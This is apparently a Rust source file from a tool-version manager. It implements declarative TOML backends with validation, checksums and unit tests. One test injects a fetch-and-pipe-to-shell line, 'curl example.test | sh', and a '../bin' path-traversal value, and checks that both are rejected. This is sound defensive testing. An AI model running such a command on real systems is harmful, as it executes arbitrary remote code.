Skip to main content

osdk_core/backend/
declarative.rs

1//! Data-only external backends loaded from TOML.
2//!
3//! Declarative backends can list versions, select a platform archive, verify
4//! its checksum, and expose installed binaries. They intentionally cannot run
5//! hooks or arbitrary commands. Installation always goes through the shared
6//! download, verification, extraction, and CAS pipeline.
7
8use std::path::{Component, Path, PathBuf};
9
10use async_trait::async_trait;
11use serde::Deserialize;
12
13use crate::backend::{Backend, Ctx, InstallCtx};
14use crate::error::{Error, Result};
15use crate::pipeline::{self, ArchiveKind, Checksum, HashAlgo, InstallPlan, PipelineCtx};
16use crate::platform::{Arch, Libc, Os, Platform};
17use crate::source::Source;
18use crate::version::{ToolVersion, VersionInfo};
19
20/// The only declarative backend schema currently accepted.
21pub const SCHEMA_VERSION: u32 = 1;
22
23const MAX_DEFINITION_BYTES: u64 = 1024 * 1024;
24const MAX_VERSIONS: usize = 10_000;
25
26/// A validated data-only backend.
27///
28/// The stable external interface is its schema-1 TOML representation. Use
29/// [`DeclarativeBackend::from_toml`] for an in-memory definition or
30/// [`load_dir`] to load a directory containing one backend per `.toml` file.
31pub struct DeclarativeBackend {
32    id: String,
33    versions: VersionSource,
34    archive: ArchiveDefinition,
35    bin_paths: Vec<PathBuf>,
36    bin_names: Vec<String>,
37    idiomatic_files: Vec<&'static str>,
38}
39
40#[derive(Debug, Deserialize)]
41#[serde(deny_unknown_fields)]
42struct BackendDefinition {
43    schema: u32,
44    id: String,
45    versions: VersionDefinition,
46    archive: ArchiveDefinition,
47    bin_paths: Vec<String>,
48    bin_names: Vec<String>,
49    #[serde(default)]
50    idiomatic_files: Vec<String>,
51}
52
53#[derive(Debug, Deserialize)]
54#[serde(deny_unknown_fields)]
55struct VersionDefinition {
56    #[serde(default)]
57    values: Vec<String>,
58    url: Option<String>,
59}
60
61enum VersionSource {
62    Static(Vec<String>),
63    Url(String),
64}
65
66#[derive(Debug, Deserialize)]
67#[serde(deny_unknown_fields)]
68struct ArchiveDefinition {
69    url: String,
70    file: String,
71    kind: ArchiveKindDefinition,
72    #[serde(default)]
73    strip_root: bool,
74    checksum: ChecksumDefinition,
75}
76
77#[derive(Debug, Clone, Copy, Deserialize)]
78enum ArchiveKindDefinition {
79    #[serde(rename = "tar.gz")]
80    TarGz,
81    #[serde(rename = "tar.xz")]
82    TarXz,
83    #[serde(rename = "tar.zst")]
84    TarZst,
85    #[serde(rename = "zip")]
86    Zip,
87}
88
89#[derive(Debug, Deserialize)]
90#[serde(deny_unknown_fields)]
91struct ChecksumDefinition {
92    algorithm: ChecksumAlgorithm,
93    value: Option<String>,
94    url: Option<String>,
95}
96
97#[derive(Debug, Clone, Copy, Deserialize)]
98#[serde(rename_all = "lowercase")]
99enum ChecksumAlgorithm {
100    Sha256,
101    Sha512,
102    Blake3,
103}
104
105impl DeclarativeBackend {
106    /// Parse and validate one schema-1 backend definition.
107    pub fn from_toml(input: &str) -> Result<Self> {
108        let definition: BackendDefinition = toml::from_str(input)?;
109        Self::from_definition(definition)
110    }
111
112    /// Load and validate one schema-1 backend definition from a file.
113    pub fn load_file(path: &Path) -> Result<Self> {
114        let metadata = std::fs::symlink_metadata(path).map_err(|error| Error::io(path, error))?;
115        if !metadata.file_type().is_file() {
116            return Err(Error::config(format!(
117                "declarative backend definition must be a regular file: {}",
118                path.display()
119            )));
120        }
121        if metadata.len() > MAX_DEFINITION_BYTES {
122            return Err(Error::config(format!(
123                "declarative backend definition exceeds {MAX_DEFINITION_BYTES} bytes: {}",
124                path.display()
125            )));
126        }
127        let input = std::fs::read_to_string(path).map_err(|error| Error::io(path, error))?;
128        Self::from_toml(&input).map_err(|error| {
129            Error::config(format!(
130                "invalid declarative backend {}: {error}",
131                path.display()
132            ))
133        })
134    }
135
136    fn from_definition(mut definition: BackendDefinition) -> Result<Self> {
137        if definition.schema != SCHEMA_VERSION {
138            return Err(Error::config(format!(
139                "unsupported declarative backend schema {}; expected {SCHEMA_VERSION}",
140                definition.schema
141            )));
142        }
143        validate_id(&definition.id)?;
144
145        let has_values = !definition.versions.values.is_empty();
146        let has_url = definition.versions.url.is_some();
147        if has_values == has_url {
148            return Err(Error::config(
149                "`versions` must set exactly one of `values` or `url`",
150            ));
151        }
152        let versions = if let Some(url) = definition.versions.url {
153            validate_url_template("versions.url", &url, &["id", "os", "arch", "libc"], false)?;
154            VersionSource::Url(url)
155        } else {
156            validate_versions(&mut definition.versions.values)?;
157            VersionSource::Static(definition.versions.values)
158        };
159
160        validate_url_template(
161            "archive.url",
162            &definition.archive.url,
163            &["id", "version", "os", "arch", "libc", "file"],
164            false,
165        )?;
166        validate_file_template(&definition.archive.file)?;
167        if !definition.archive.url.contains("{version}")
168            && !definition.archive.url.contains("{file}")
169            && !definition.archive.file.contains("{version}")
170        {
171            return Err(Error::config(
172                "`archive.url` or `archive.file` must vary by `{version}`",
173            ));
174        }
175        definition.archive.checksum.validate()?;
176
177        if definition.bin_paths.is_empty() {
178            return Err(Error::config("`bin_paths` must not be empty"));
179        }
180        let bin_paths = definition
181            .bin_paths
182            .iter()
183            .map(|path| validate_relative_path("bin path", path))
184            .collect::<Result<Vec<_>>>()?;
185
186        if definition.bin_names.is_empty() {
187            return Err(Error::config("`bin_names` must not be empty"));
188        }
189        for name in &definition.bin_names {
190            validate_basename("bin name", name)?;
191        }
192        for name in &definition.idiomatic_files {
193            validate_basename("idiomatic file", name)?;
194        }
195
196        // Backend definitions are process-lifetime registry data. Interning the
197        // small idiomatic filename list satisfies the existing Backend trait's
198        // borrowed-slice contract without allowing executable plugin code.
199        let idiomatic_files = definition
200            .idiomatic_files
201            .into_iter()
202            .map(|name| -> &'static str { Box::leak(name.into_boxed_str()) })
203            .collect();
204
205        Ok(Self {
206            id: definition.id,
207            versions,
208            archive: definition.archive,
209            bin_paths,
210            bin_names: definition.bin_names,
211            idiomatic_files,
212        })
213    }
214
215    fn rendered_file(&self, platform: Platform, version: &str) -> Result<String> {
216        validate_version(version)?;
217        let rendered = render_template(
218            &self.archive.file,
219            &self.id,
220            Some(version),
221            platform,
222            None,
223            None,
224        );
225        validate_basename("rendered archive file", &rendered)?;
226        Ok(rendered)
227    }
228
229    fn rendered_url(
230        &self,
231        template: &str,
232        platform: Platform,
233        version: Option<&str>,
234        file: Option<&str>,
235        archive_url: Option<&str>,
236    ) -> Result<String> {
237        let rendered = render_template(template, &self.id, version, platform, file, archive_url);
238        validate_rendered_url(&rendered)?;
239        Ok(rendered)
240    }
241
242    async fn remote_versions(&self, ctx: &Ctx, template: &str) -> Result<Vec<VersionInfo>> {
243        let url = self.rendered_url(template, ctx.platform, None, None, None)?;
244        let body = crate::http::get_cached_text(ctx, &url).await?;
245        let mut values = body
246            .lines()
247            .map(str::trim)
248            .filter(|line| !line.is_empty() && !line.starts_with('#'))
249            .map(str::to_string)
250            .collect::<Vec<_>>();
251        validate_versions(&mut values)?;
252        Ok(values.into_iter().map(VersionInfo::stable).collect())
253    }
254
255    async fn checksum(
256        &self,
257        ctx: &Ctx,
258        version: &str,
259        file: &str,
260        archive_urls: &[String],
261    ) -> Result<Checksum> {
262        let definition = &self.archive.checksum;
263        let algo = definition.algorithm.into();
264        if let Some(value) = &definition.value {
265            validate_checksum(value, definition.algorithm)?;
266            return Ok(Checksum {
267                algo,
268                hex: value.clone(),
269            });
270        }
271
272        let template = definition
273            .url
274            .as_deref()
275            .ok_or_else(|| Error::config("checksum URL is missing"))?;
276        let mut last_error = None;
277        for archive_url in archive_urls {
278            let url = self.rendered_url(
279                template,
280                ctx.platform,
281                Some(version),
282                Some(file),
283                Some(archive_url),
284            )?;
285            match crate::http::get_cached_text(ctx, &url).await {
286                Ok(body) => {
287                    let value = body.split_whitespace().next().ok_or_else(|| {
288                        Error::other(format!("empty checksum response from {url}"))
289                    })?;
290                    validate_checksum(value, definition.algorithm)?;
291                    return Ok(Checksum {
292                        algo,
293                        hex: value.to_string(),
294                    });
295                }
296                Err(error) => last_error = Some(error),
297            }
298        }
299        Err(last_error.unwrap_or_else(|| Error::NoUsableSource {
300            tool: self.id.clone(),
301            tried: archive_urls.len(),
302        }))
303    }
304}
305
306impl ChecksumDefinition {
307    fn validate(&self) -> Result<()> {
308        if self.value.is_some() == self.url.is_some() {
309            return Err(Error::config(
310                "`archive.checksum` must set exactly one of `value` or `url`",
311            ));
312        }
313        if let Some(value) = &self.value {
314            validate_checksum(value, self.algorithm)?;
315        }
316        if let Some(url) = &self.url {
317            validate_url_template(
318                "archive.checksum.url",
319                url,
320                &["id", "version", "os", "arch", "libc", "file", "archive_url"],
321                true,
322            )?;
323        }
324        Ok(())
325    }
326}
327
328impl From<ArchiveKindDefinition> for ArchiveKind {
329    fn from(value: ArchiveKindDefinition) -> Self {
330        match value {
331            ArchiveKindDefinition::TarGz => ArchiveKind::TarGz,
332            ArchiveKindDefinition::TarXz => ArchiveKind::TarXz,
333            ArchiveKindDefinition::TarZst => ArchiveKind::TarZst,
334            ArchiveKindDefinition::Zip => ArchiveKind::Zip,
335        }
336    }
337}
338
339impl From<ChecksumAlgorithm> for HashAlgo {
340    fn from(value: ChecksumAlgorithm) -> Self {
341        match value {
342            ChecksumAlgorithm::Sha256 => HashAlgo::Sha256,
343            ChecksumAlgorithm::Sha512 => HashAlgo::Sha512,
344            ChecksumAlgorithm::Blake3 => HashAlgo::Blake3,
345        }
346    }
347}
348
349#[async_trait]
350impl Backend for DeclarativeBackend {
351    fn id(&self) -> &str {
352        &self.id
353    }
354
355    fn default_sources(&self) -> Vec<Source> {
356        let mut source = Source::official("declarative", &self.archive.url);
357        if let VersionSource::Url(url) = &self.versions {
358            source = source.with_index(url);
359        }
360        vec![source]
361    }
362
363    fn probe_url(&self, ctx: &Ctx, source: &Source) -> Option<String> {
364        source.index_url.as_deref().and_then(|template| {
365            self.rendered_url(template, ctx.platform, None, None, None)
366                .ok()
367        })
368    }
369
370    async fn list_remote_versions(&self, ctx: &Ctx) -> Result<Vec<VersionInfo>> {
371        match &self.versions {
372            VersionSource::Static(values) => {
373                Ok(values.iter().cloned().map(VersionInfo::stable).collect())
374            }
375            VersionSource::Url(default_url) => {
376                let sources = crate::source::select::ranked_source_list(ctx, self).await?;
377                let mut last_error = None;
378                for source in &sources {
379                    let template = source.index_url.as_deref().unwrap_or(default_url);
380                    match self.remote_versions(ctx, template).await {
381                        Ok(versions) => return Ok(versions),
382                        Err(error) => last_error = Some(error),
383                    }
384                }
385                Err(last_error.unwrap_or_else(|| Error::NoUsableSource {
386                    tool: self.id.clone(),
387                    tried: sources.len(),
388                }))
389            }
390        }
391    }
392
393    async fn install(&self, ictx: &InstallCtx<'_>, tv: &ToolVersion) -> Result<()> {
394        let ctx = ictx.ctx;
395        validate_version(&tv.version)?;
396        let plan = if let Some(plan) =
397            pipeline::locked_install_plan(self.id(), tv, self.archive.strip_root)?
398        {
399            plan
400        } else {
401            let file = self.rendered_file(ctx.platform, &tv.version)?;
402            let sources = crate::source::select::ranked_source_list(ctx, self).await?;
403            let urls = sources
404                .iter()
405                .map(|source| {
406                    self.rendered_url(
407                        &source.download_url,
408                        ctx.platform,
409                        Some(&tv.version),
410                        Some(&file),
411                        None,
412                    )
413                })
414                .collect::<Result<Vec<_>>>()?;
415            let checksum = self.checksum(ctx, &tv.version, &file, &urls).await?;
416            InstallPlan {
417                tool: self.id.clone(),
418                version: tv.version.clone(),
419                urls,
420                file_name: file,
421                kind: self.archive.kind.into(),
422                checksum: Some(checksum),
423                strip_root: self.archive.strip_root,
424                subdir: None,
425            }
426        };
427        let pipeline_ctx = PipelineCtx {
428            client: &ctx.client,
429            dirs: &ctx.dirs,
430            cas: &ctx.cas,
431            link_mode: ctx.config.settings.link_mode,
432            show_progress: ctx.show_progress,
433            offline: ctx.config.settings.offline,
434            require_checksums: ctx.config.settings.require_checksums,
435        };
436        pipeline::run(&plan, &pipeline_ctx).await?;
437        Ok(())
438    }
439
440    async fn uninstall(&self, ctx: &Ctx, tv: &ToolVersion) -> Result<()> {
441        validate_version(&tv.version)?;
442        let directory = ctx.dirs.install_path(self.id(), &tv.version);
443        if directory.exists() {
444            std::fs::remove_dir_all(&directory).map_err(|error| Error::io(&directory, error))?;
445        }
446        Ok(())
447    }
448
449    fn bin_paths(&self, ctx: &Ctx, tv: &ToolVersion) -> Result<Vec<PathBuf>> {
450        validate_version(&tv.version)?;
451        let install = ctx.dirs.install_path(self.id(), &tv.version);
452        Ok(self
453            .bin_paths
454            .iter()
455            .map(|path| install.join(path))
456            .collect())
457    }
458
459    fn bin_names(&self, _ctx: &Ctx, _tv: &ToolVersion) -> Result<Vec<String>> {
460        Ok(self.bin_names.clone())
461    }
462
463    fn idiomatic_files(&self) -> &[&str] {
464        &self.idiomatic_files
465    }
466}
467
468/// Load all regular `.toml` definitions directly inside `directory`.
469///
470/// Files are loaded in lexical path order. A missing directory is an empty
471/// plugin set; malformed definitions fail the whole load.
472pub fn load_dir(directory: &Path) -> Result<Vec<DeclarativeBackend>> {
473    if !directory.exists() {
474        return Ok(Vec::new());
475    }
476    let mut paths = std::fs::read_dir(directory)
477        .map_err(|error| Error::io(directory, error))?
478        .map(|entry| {
479            entry
480                .map(|entry| entry.path())
481                .map_err(|error| Error::io(directory, error))
482        })
483        .collect::<Result<Vec<_>>>()?;
484    paths.retain(|path| path.extension().and_then(|ext| ext.to_str()) == Some("toml"));
485    paths.sort();
486    paths
487        .iter()
488        .map(|path| DeclarativeBackend::load_file(path))
489        .collect()
490}
491
492fn validate_id(id: &str) -> Result<()> {
493    let mut chars = id.chars();
494    if !chars
495        .next()
496        .map(|character| character.is_ascii_lowercase() || character.is_ascii_digit())
497        .unwrap_or(false)
498        || !chars.all(|character| {
499            character.is_ascii_lowercase()
500                || character.is_ascii_digit()
501                || matches!(character, '-' | '_')
502        })
503    {
504        return Err(Error::config(format!(
505            "invalid declarative backend id `{id}`; use lowercase ASCII letters, digits, `-`, or `_`"
506        )));
507    }
508    if id == "github" || id.starts_with("github:") {
509        return Err(Error::config(
510            "declarative backend ids cannot use the reserved `github` namespace",
511        ));
512    }
513    Ok(())
514}
515
516fn validate_versions(versions: &mut Vec<String>) -> Result<()> {
517    if versions.is_empty() {
518        return Err(Error::config("version list must not be empty"));
519    }
520    if versions.len() > MAX_VERSIONS {
521        return Err(Error::config(format!(
522            "version list exceeds {MAX_VERSIONS} entries"
523        )));
524    }
525    for version in versions.iter() {
526        validate_version(version)?;
527    }
528    versions.sort_by(|left, right| {
529        match (semver::Version::parse(left), semver::Version::parse(right)) {
530            (Ok(left), Ok(right)) => left.cmp(&right),
531            (Ok(_), Err(_)) => std::cmp::Ordering::Less,
532            (Err(_), Ok(_)) => std::cmp::Ordering::Greater,
533            (Err(_), Err(_)) => left.cmp(right),
534        }
535    });
536    versions.dedup();
537    Ok(())
538}
539
540fn validate_version(version: &str) -> Result<()> {
541    if version.is_empty()
542        || version == "."
543        || version == ".."
544        || !version.chars().all(|character| {
545            character.is_ascii_alphanumeric() || matches!(character, '.' | '-' | '_' | '+')
546        })
547    {
548        return Err(Error::config(format!(
549            "invalid declarative backend version `{version}`"
550        )));
551    }
552    Ok(())
553}
554
555fn validate_relative_path(label: &str, value: &str) -> Result<PathBuf> {
556    if value.is_empty() || value.contains('\\') || value.contains(':') {
557        return Err(Error::config(format!("invalid {label} `{value}`")));
558    }
559    let path = Path::new(value);
560    if path.is_absolute()
561        || path.components().any(|component| {
562            matches!(
563                component,
564                Component::ParentDir | Component::RootDir | Component::Prefix(_)
565            )
566        })
567    {
568        return Err(Error::config(format!(
569            "{label} must stay inside the install root: `{value}`"
570        )));
571    }
572    Ok(path.to_path_buf())
573}
574
575fn validate_basename(label: &str, value: &str) -> Result<()> {
576    if value.is_empty()
577        || value == "."
578        || value == ".."
579        || value.contains('/')
580        || value.contains('\\')
581        || value.contains(':')
582    {
583        return Err(Error::config(format!(
584            "{label} must be a single safe filename: `{value}`"
585        )));
586    }
587    Ok(())
588}
589
590fn validate_file_template(template: &str) -> Result<()> {
591    validate_template(
592        "archive.file",
593        template,
594        &["id", "version", "os", "arch", "libc"],
595    )?;
596    if template.contains('/') || template.contains('\\') || template.contains(':') {
597        return Err(Error::config(
598            "`archive.file` must render to a single filename",
599        ));
600    }
601    Ok(())
602}
603
604fn validate_url_template(
605    label: &str,
606    template: &str,
607    placeholders: &[&str],
608    allow_archive_url_prefix: bool,
609) -> Result<()> {
610    validate_template(label, template, placeholders)?;
611    if !(template.starts_with("https://")
612        || template.starts_with("http://")
613        || (allow_archive_url_prefix && template.starts_with("{archive_url}")))
614    {
615        return Err(Error::config(format!(
616            "`{label}` must use an HTTP or HTTPS URL"
617        )));
618    }
619    Ok(())
620}
621
622fn validate_template(label: &str, template: &str, placeholders: &[&str]) -> Result<()> {
623    if template.is_empty() {
624        return Err(Error::config(format!("`{label}` must not be empty")));
625    }
626    let mut remainder = template;
627    while let Some(open) = remainder.find('{') {
628        if remainder[..open].contains('}') {
629            return Err(Error::config(format!(
630                "`{label}` contains an unmatched `}}`"
631            )));
632        }
633        let after_open = &remainder[open + 1..];
634        let close = after_open
635            .find('}')
636            .ok_or_else(|| Error::config(format!("`{label}` contains an unmatched `{{`")))?;
637        let placeholder = &after_open[..close];
638        if !placeholders.contains(&placeholder) {
639            return Err(Error::config(format!(
640                "`{label}` uses unsupported placeholder `{{{placeholder}}}`"
641            )));
642        }
643        remainder = &after_open[close + 1..];
644    }
645    if remainder.contains('}') {
646        return Err(Error::config(format!(
647            "`{label}` contains an unmatched `}}`"
648        )));
649    }
650    Ok(())
651}
652
653fn validate_rendered_url(url: &str) -> Result<()> {
654    if url.contains('{') || url.contains('}') {
655        return Err(Error::config(format!(
656            "URL template left an unresolved placeholder: `{url}`"
657        )));
658    }
659    let parsed = reqwest::Url::parse(url)
660        .map_err(|error| Error::config(format!("invalid rendered URL `{url}`: {error}")))?;
661    if !matches!(parsed.scheme(), "http" | "https") || parsed.host_str().is_none() {
662        return Err(Error::config(format!(
663            "rendered URL must use HTTP or HTTPS with a host: `{url}`"
664        )));
665    }
666    Ok(())
667}
668
669fn validate_checksum(value: &str, algorithm: ChecksumAlgorithm) -> Result<()> {
670    let expected_length = match algorithm {
671        ChecksumAlgorithm::Sha256 | ChecksumAlgorithm::Blake3 => 64,
672        ChecksumAlgorithm::Sha512 => 128,
673    };
674    if value.len() != expected_length
675        || !value.chars().all(|character| character.is_ascii_hexdigit())
676    {
677        return Err(Error::config(format!(
678            "invalid {:?} checksum; expected {expected_length} hexadecimal characters",
679            algorithm
680        )));
681    }
682    Ok(())
683}
684
685fn render_template(
686    template: &str,
687    id: &str,
688    version: Option<&str>,
689    platform: Platform,
690    file: Option<&str>,
691    archive_url: Option<&str>,
692) -> String {
693    let os = match platform.os {
694        Os::Linux => "linux",
695        Os::Macos => "macos",
696        Os::Windows => "windows",
697    };
698    let arch = match platform.arch {
699        Arch::X64 => "x64",
700        Arch::Arm64 => "arm64",
701        Arch::X86 => "x86",
702        Arch::Arm => "arm",
703    };
704    let libc = match platform.libc {
705        Libc::Glibc => "glibc",
706        Libc::Musl => "musl",
707        Libc::None => "none",
708    };
709    let mut rendered = template
710        .replace("{id}", id)
711        .replace("{os}", os)
712        .replace("{arch}", arch)
713        .replace("{libc}", libc);
714    if let Some(version) = version {
715        rendered = rendered.replace("{version}", version);
716    }
717    if let Some(file) = file {
718        rendered = rendered.replace("{file}", file);
719    }
720    if let Some(archive_url) = archive_url {
721        rendered = rendered.replace("{archive_url}", archive_url);
722    }
723    rendered
724}
725
726#[cfg(test)]
727mod tests {
728    use std::collections::{BTreeMap, HashMap};
729    use std::io::{Read, Write};
730    use std::net::TcpListener;
731    use std::sync::Arc;
732
733    use super::*;
734    use crate::config::{Config, Settings, SourcesConfig};
735    use crate::dirs::Dirs;
736    use crate::source::Selection;
737    use crate::store::link::LinkMode;
738    use crate::store::Cas;
739
740    const STATIC_FIXTURE: &str =
741        include_str!("../../tests/fixtures/declarative/static-backend.toml");
742
743    #[test]
744    fn parses_static_fixture() {
745        let backend = DeclarativeBackend::from_toml(STATIC_FIXTURE).unwrap();
746        assert_eq!(backend.id(), "acme");
747        assert_eq!(backend.bin_names, ["acme", "acmectl"]);
748        assert_eq!(backend.idiomatic_files(), [".acme-version"]);
749    }
750
751    #[test]
752    fn rejects_executable_hooks_and_unsafe_paths() {
753        let with_script = STATIC_FIXTURE.replace(
754            "id = \"acme\"",
755            "id = \"acme\"\ninstall_script = \"curl example.test | sh\"",
756        );
757        assert!(DeclarativeBackend::from_toml(&with_script).is_err());
758
759        let unsafe_path =
760            STATIC_FIXTURE.replace("bin_paths = [\"bin\"]", "bin_paths = [\"../bin\"]");
761        assert!(DeclarativeBackend::from_toml(&unsafe_path).is_err());
762    }
763
764    #[tokio::test]
765    async fn loads_lists_and_installs_from_local_fixtures() {
766        let temp = tempfile::tempdir().unwrap();
767        let dirs = isolated_dirs(temp.path());
768        dirs.ensure().unwrap();
769
770        let archive_path = temp.path().join("acme.tar.gz");
771        write_fixture_archive(&archive_path);
772        let archive = std::fs::read(&archive_path).unwrap();
773        let checksum = crate::pipeline::verify::hash_file(&archive_path, HashAlgo::Sha256).unwrap();
774        let versions = include_bytes!("../../tests/fixtures/declarative/versions.txt").to_vec();
775
776        let mut routes = HashMap::new();
777        routes.insert("/versions.txt".to_string(), versions);
778        routes.insert(
779            "/downloads/acme-1.2.3-linux-x64.tar.gz".to_string(),
780            archive,
781        );
782        routes.insert(
783            "/downloads/acme-1.2.3-linux-x64.tar.gz.sha256".to_string(),
784            format!("{checksum}  acme-1.2.3-linux-x64.tar.gz\n").into_bytes(),
785        );
786        let (base_url, server) = serve(routes, 3);
787
788        let plugin_dir = dirs.config.join("plugins");
789        std::fs::create_dir_all(&plugin_dir).unwrap();
790        std::fs::write(
791            plugin_dir.join("acme.toml"),
792            format!(
793                r#"
794schema = 1
795id = "acme"
796bin_paths = ["bin"]
797bin_names = ["acme"]
798idiomatic_files = [".acme-version"]
799
800[versions]
801url = "{base_url}/versions.txt"
802
803[archive]
804url = "{base_url}/downloads/{{file}}"
805file = "acme-{{version}}-{{os}}-{{arch}}.tar.gz"
806kind = "tar.gz"
807strip_root = true
808
809[archive.checksum]
810algorithm = "sha256"
811url = "{{archive_url}}.sha256"
812"#
813            ),
814        )
815        .unwrap();
816
817        let registry = crate::backend::registry::Registry::load(&dirs).unwrap();
818        let backend = registry.get("acme").unwrap();
819        let ctx = test_ctx(dirs);
820        let versions = backend.list_remote_versions(&ctx).await.unwrap();
821        assert_eq!(
822            versions
823                .iter()
824                .map(|version| version.version.as_str())
825                .collect::<Vec<_>>(),
826            ["1.2.3"]
827        );
828
829        let tool_version = ToolVersion::new("acme", "1.2.3");
830        backend
831            .install(&InstallCtx { ctx: &ctx }, &tool_version)
832            .await
833            .unwrap();
834        let installed = ctx.dirs.install_path("acme", "1.2.3");
835        assert_eq!(
836            std::fs::read_to_string(installed.join("bin/acme")).unwrap(),
837            "fixture executable\n"
838        );
839        assert!(installed.join(".osdk-complete").is_file());
840        assert_eq!(
841            backend.bin_paths(&ctx, &tool_version).unwrap(),
842            [installed.join("bin")]
843        );
844        server.join().unwrap();
845    }
846
847    #[tokio::test]
848    async fn locked_artifact_reinstalls_offline_without_rendering_current_templates() {
849        let temp = tempfile::tempdir().unwrap();
850        let dirs = isolated_dirs(temp.path());
851        dirs.ensure().unwrap();
852
853        let file_name = "locked-acme.tar.gz";
854        let archive_path =
855            pipeline::artifact_cache_path(&dirs, "acme", "1.2.3", file_name).unwrap();
856        std::fs::create_dir_all(archive_path.parent().unwrap()).unwrap();
857        write_fixture_archive(&archive_path);
858        let checksum = pipeline::verify::hash_file(&archive_path, HashAlgo::Sha256).unwrap();
859
860        // These templates deliberately cannot produce the locked artifact. A
861        // lock-restored request must use its recorded URL, filename, and
862        // checksum without consulting current plugin metadata.
863        let backend = DeclarativeBackend::from_toml(
864            &STATIC_FIXTURE
865                .replace("acme-{version}-{os}-{arch}.tar.gz", "changed-{version}.zip")
866                .replace("kind = \"tar.gz\"", "kind = \"zip\""),
867        )
868        .unwrap();
869        let mut ctx = test_ctx(dirs);
870        ctx.config.settings.offline = true;
871        ctx.config.settings.require_checksums = true;
872        let mut tool_version = ToolVersion::new("acme", "1.2.3");
873        tool_version.options.extend(BTreeMap::from([
874            (
875                pipeline::LOCKED_ARTIFACT_URL_OPTION.into(),
876                "https://unreachable.invalid/locked-acme.tar.gz".into(),
877            ),
878            (
879                pipeline::LOCKED_ARTIFACT_FILE_OPTION.into(),
880                file_name.into(),
881            ),
882            (
883                pipeline::LOCKED_ARTIFACT_CHECKSUM_OPTION.into(),
884                format!("sha256:{checksum}"),
885            ),
886        ]));
887
888        backend
889            .install(&InstallCtx { ctx: &ctx }, &tool_version)
890            .await
891            .unwrap();
892
893        let installed = ctx.dirs.install_path("acme", "1.2.3");
894        assert_eq!(
895            std::fs::read_to_string(installed.join("bin/acme")).unwrap(),
896            "fixture executable\n"
897        );
898        assert!(installed.join(".osdk-complete").is_file());
899    }
900
901    fn isolated_dirs(root: &Path) -> Dirs {
902        Dirs::resolve_from(|key| match key {
903            "OSDK_DATA_DIR" => Some(root.join("data").display().to_string()),
904            "OSDK_CACHE_DIR" => Some(root.join("cache").display().to_string()),
905            "OSDK_CONFIG_DIR" => Some(root.join("config").display().to_string()),
906            "OSDK_STORE_DIR" => Some(root.join("store").display().to_string()),
907            "OSDK_INSTALL_DIR" => Some(root.join("installs").display().to_string()),
908            _ => None,
909        })
910        .unwrap()
911    }
912
913    fn test_ctx(dirs: Dirs) -> Ctx {
914        let settings = Settings {
915            link_mode: LinkMode::Copy,
916            ..Default::default()
917        };
918        let sources = SourcesConfig {
919            selection: Selection::Ordered,
920            ..Default::default()
921        };
922        Ctx {
923            cas: Arc::new(Cas::new(dirs.store.clone())),
924            dirs,
925            platform: Platform {
926                os: Os::Linux,
927                arch: Arch::X64,
928                libc: Libc::Glibc,
929            },
930            config: Config {
931                settings,
932                sources,
933                tools: Default::default(),
934                tool_configs: Default::default(),
935                global_tools: Default::default(),
936                global_tool_configs: Default::default(),
937                tool_origins: Default::default(),
938                aliases: Default::default(),
939                project_config_path: None,
940            },
941            client: reqwest::Client::new(),
942            show_progress: false,
943        }
944    }
945
946    fn write_fixture_archive(path: &Path) {
947        let file = std::fs::File::create(path).unwrap();
948        let encoder = flate2::write::GzEncoder::new(file, flate2::Compression::fast());
949        let mut archive = tar::Builder::new(encoder);
950        let contents = b"fixture executable\n";
951        let mut header = tar::Header::new_gnu();
952        header.set_size(contents.len() as u64);
953        header.set_mode(0o755);
954        header.set_cksum();
955        archive
956            .append_data(&mut header, "acme/bin/acme", &contents[..])
957            .unwrap();
958        archive.finish().unwrap();
959        archive.into_inner().unwrap().finish().unwrap();
960    }
961
962    fn serve(
963        routes: HashMap<String, Vec<u8>>,
964        request_count: usize,
965    ) -> (String, std::thread::JoinHandle<()>) {
966        let listener = TcpListener::bind("127.0.0.1:0").unwrap();
967        let address = listener.local_addr().unwrap();
968        let server = std::thread::spawn(move || {
969            for _ in 0..request_count {
970                let (mut stream, _) = listener.accept().unwrap();
971                let mut request = Vec::new();
972                let mut buffer = [0u8; 1024];
973                while !request.ends_with(b"\r\n\r\n") {
974                    let read = stream.read(&mut buffer).unwrap();
975                    if read == 0 {
976                        break;
977                    }
978                    request.extend_from_slice(&buffer[..read]);
979                }
980                let request = String::from_utf8_lossy(&request);
981                let path = request
982                    .lines()
983                    .next()
984                    .and_then(|line| line.split_whitespace().nth(1))
985                    .unwrap_or("/");
986                match routes.get(path) {
987                    Some(body) => {
988                        write!(
989                            stream,
990                            "HTTP/1.1 200 OK\r\nContent-Length: {}\r\nConnection: close\r\n\r\n",
991                            body.len()
992                        )
993                        .unwrap();
994                        stream.write_all(body).unwrap();
995                    }
996                    None => {
997                        write!(
998                            stream,
999                            "HTTP/1.1 404 Not Found\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"
1000                        )
1001                        .unwrap();
1002                    }
1003                }
1004            }
1005        });
1006        (format!("http://{address}"), server)
1007    }
1008}